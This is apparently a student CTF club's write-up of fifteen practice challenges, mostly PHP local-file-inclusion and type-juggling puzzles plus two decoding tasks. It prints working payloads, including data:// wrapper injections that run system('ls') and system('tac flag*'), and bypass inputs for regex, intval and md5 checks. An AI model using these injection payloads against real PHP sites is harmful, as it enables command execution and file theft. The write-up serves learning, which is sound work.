第二周社团学习15题

文件包含:

一:if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

这题没什么特点,payload一个data伪协议或者php伪协议就绕过去了

二:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

看到我php被三个?所以不能使用php伪协议,此时就使用data伪协议

payload:?file=data://text/plain,<?=system('ls');?>

可以得到一个flag文件

在payload:?file=data://text/plain,<?=system('tac flag*');?>

得到flag

有个知识点cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。

所以我认为一般都使用tac指令吧

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 可以看出和上一题相似,php和data关键字都被过滤了,想到可能还有大小写绕过

了解到有一个日志包含,但是模仿B站上还没做出来(苦笑)


<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>
 使用php://filter 发现不行,猜测应该被过滤了,接着用read,encoud,base,都返回一个do not back,

上网了解到
php有两种过滤器string和iconv,但是string还是被过滤,那就使用bp抓包群集爆破,

得到的类型状态和长度只有两种,分清不开,那只能一个一个放到重放器里面去试得到flag

 if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

与第三题一样尝试使用日志包含但是还是没有做到(汗流浃背)

php特性

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

“preg_grep(正则表达式,数组,$flags)”;参数“$flags”

所以我们payload一个数组一到九范围的即可得到flag

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}相关的知识int intval( var,base)
//var指要转换成 integer 的数量值,base指转化所使用的进制 

Note: 
如果 base 是 0,通过检测 var 的格式来决定使用的进制: 
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,  
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,  
◦ 将使用 10 进制 (decimal)。 

所以对4476采用8进制即可获得flag


show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}看到有与第一次两个正则表达式

知识:第一个使用了'/im',这意味着i(忽略大小写)和m(多行模式)。第二个只使用了'i',也就是忽略大小写。

所以我分析得到要符合第一个的if并且不符合第二个if语句

payload:?cmd=%0aphp(%0a)是换行,同时不满足第二匹配(固定字符串"php")

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
 

从上往下看此题只能符合ntval($num,0)==4476这一条

将4476八进制然后payload:?num=010574得到flag

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){这里检查提交的数字第一个不能出现0
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
而且里面三个等号,严格相等

知识点:strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。

所以我就payload:4476.0得到flag

十一

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){这里忽略掉大小写,并且/还有.都过滤了
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

它将尝试将一个字符串转换为一个整数。第二个参数 0 是可选的,它定义了要使用的基数。在您的例子中,基数被设置为 0,这意味着函数将尝试解析字符串,并返回一个十进制的整数。

所以我payload第一个为0再将4476八进制编码

想到+会被解释成空格。所以在前面放入+得到flag

用其他符号就不符合第三个if

payload:?num=+010574

十二

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}
payload:u=flag.php1绕过第一个if

得到

提示不存在那么这个路径那么就将之前的1去掉加入路径得到payload:

十三:

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

要a和b不相等,但在内层第三个if中又相等,所以想到一个知识点

知识:md5弱类型比较可以直接数组绕过,其结果都会转换为nul

payload:a[]=1&b[]=3

十四misc

尝试转为十六进制得到:0x3d3d3d3d513642475354334f4859464d37435a415450424f4454344348324d4e37434e36565a414f5a3358474859344b374b354144474e504553554355495a49

还没看出,转化为字符串试试用ascii编码得到====Q6BGST3OHYFM7CZATPBODT4CH2MN7CN6VZAOZ3XGHY4K7K5ADGNPESUCUIZI

再将他倒过来进行base64解码得到FQARD{L0u_W0s_yp3_4_k4qrcp_0d_apwnr0}

形式不对再使用凯撒解码得到flag

十五

下载得到一个二维码

打开链接再解密就得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值